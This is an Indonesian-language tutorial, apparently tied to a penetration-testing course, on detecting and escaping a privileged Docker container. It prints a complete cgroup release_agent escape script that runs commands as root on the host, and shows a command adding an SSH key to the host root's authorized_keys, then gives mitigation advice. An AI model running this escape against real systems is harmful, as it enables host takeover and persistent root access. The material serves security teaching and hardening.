Keluar dari kontainer Docker yang memiliki hak istimewa

Terjemahan artikel disiapkan pada malam dimulainya kursus "Pentest. Praktek Penetration Testing " .








Kontainer dengan hak istimewa Docker adalah kontainer yang berjalan dengan sebuah bendera --privileged. Tidak seperti container biasa, container ini memiliki akses root ke mesin host.



Kontainer istimewa sering digunakan saat tugas memerlukan akses langsung ke perangkat keras untuk melakukan tugas. Namun, kontainer Docker yang memiliki hak istimewa dapat memungkinkan penyerang untuk mengambil alih sistem host. Hari ini kita akan melihat bagaimana Anda dapat keluar dari penampung dengan hak istimewa.



Cari wadah yang rentan



Bagaimana kita dapat menentukan bahwa kita berada dalam wadah yang memiliki hak istimewa?



Bagaimana Anda tahu bahwa Anda berada di dalam wadah?



Cgroupssingkatan dari kelompok kontrol. Fitur Linux ini mengisolasi penggunaan sumber daya, dan itulah yang digunakan Docker untuk mengisolasi kontainer. Anda dapat mengetahui apakah Anda berada dalam container dengan memeriksa cgroup dari proses init di /proc/1/cgroup. Jika Anda tidak berada di dalam wadah, maka grup kontrolnya adalah /. Sekali lagi, jika Anda berada di dalam wadah, Anda akan melihatnya /docker/CONTAINER_ID.



Bagaimana Anda tahu jika sebuah wadah memiliki hak istimewa?



Setelah Anda menentukan bahwa Anda berada dalam sebuah wadah, Anda perlu memahami apakah itu diistimewakan. Cara terbaik untuk melakukannya adalah dengan menjalankan perintah yang membutuhkan bendera --privilegeddan melihat apakah berhasil.



Misalnya, Anda dapat mencoba menambahkan dummyantarmuka menggunakan perintah iproute2. Perintah ini membutuhkan akses ke NET_ADMIN, yang dimiliki penampung, jika diistimewakan.



$ ip link add dummy0 type dummy


Jika perintah berhasil, maka kita dapat menyimpulkan bahwa container memiliki fungsionalitas NET_ADMIN. Dan NET_ADMINpada gilirannya, ini adalah bagian dari serangkaian fungsi yang diistimewakan, dan penampung yang tidak memilikinya tidak diistimewakan. Anda dapat menghapus tautan dummy0setelah tes ini dengan perintah:



ip link delete dummy0


Keluar dari wadah



Jadi, bagaimana Anda keluar dari wadah istimewa? Skrip berikut akan membantu Anda di sini. Contoh dan bukti konsep ini diambil dari blog Trail of Bits . Untuk mendalami konsep ini lebih dalam, baca artikel asli:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


Pembuktian konsep ini menggunakan fungsi release_agentdari cgroup.



Setelah proses terakhir selesai cgroup, sebuah perintah dijalankan yang menghapus pekerjaan yang dihentikan cgroups. Perintah ini ditentukan dalam file release_agentdan dijalankan seperti rootpada komputer host. Secara default, fitur ini dinonaktifkan dan jalurnya release_agentkosong.



Eksploitasi ini menjalankan kode melalui file release_agent. Kita perlu membuat cgroup, menentukan file release_agentdan memulai release_agent, menghentikan semua proses di cgroup. Baris pertama dalam pengujian hipotesis membuat grup baru:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x


Berikut ini termasuk fungsinya release_agent:



echo 1 > /tmp/cgrp/x/notify_on_release


Selanjutnya di beberapa baris berikutnya jalur ke file tersebut terdaftar release_agent:



host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent


Kemudian Anda dapat mulai menulis ke file perintah. Skrip ini akan menjalankan perintah ps auxdan menyimpannya ke sebuah file /output. Anda juga perlu menyetel bit akses untuk skrip:



echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd


Terakhir, mulailah serangan dengan menelurkan proses yang akan segera berakhir di cgroup yang kita buat. Script kami release_agentakan dieksekusi setelah proses selesai. Sekarang Anda dapat membaca output ps auxdi mesin host dalam sebuah file /output:



sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


Anda dapat menggunakan konsep ini untuk menjalankan perintah apa pun yang Anda inginkan pada sistem host. Misalnya, Anda dapat menggunakannya untuk menulis kunci SSH Anda ke file authorized_keyspengguna root:



cat id_dsa.pub >> /root/.ssh/authorized_keys




Mencegah serangan



Bagaimana serangan ini dapat dicegah? Daripada memberi container akses penuh ke sistem host, Anda sebaiknya hanya memberikan izin yang mereka butuhkan.



Kemampuan Docker memungkinkan pengembang untuk secara selektif memberikan izin ke sebuah kontainer. Ini menjadi mungkin untuk membagi izin, biasanya dikemas dalam root access, menjadi beberapa komponen terpisah.



Secara default, Docker mengambil semua izin dari kontainer dan mengharuskannya untuk ditambahkan. Anda dapat menghapus atau menambahkan izin menggunakan cap-dropdan bendera cap-add.



--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES


Misalnya, alih-alih memberikan penampung root access, Anda membiarkannya NET_BIND_SERVICEjika perlu terhubung ke port di bawah 1024. Tanda ini akan memberi penampung izin yang diperlukan:



--cap-add NET_BIND_SERVICE


Kesimpulan



Hindari menjalankan kontainer Docker dengan bendera jika memungkinkan --privileged. Kontainer istimewa dapat memberikan penyerang kemampuan untuk keluar dari kontainer dan mendapatkan akses ke sistem host. Sebagai gantinya, berikan izin container satu per satu menggunakan sebuah bendera --cap-add.



Baca lebih banyak








Pelajari lebih lanjut tentang kursus tersebut.







All Articles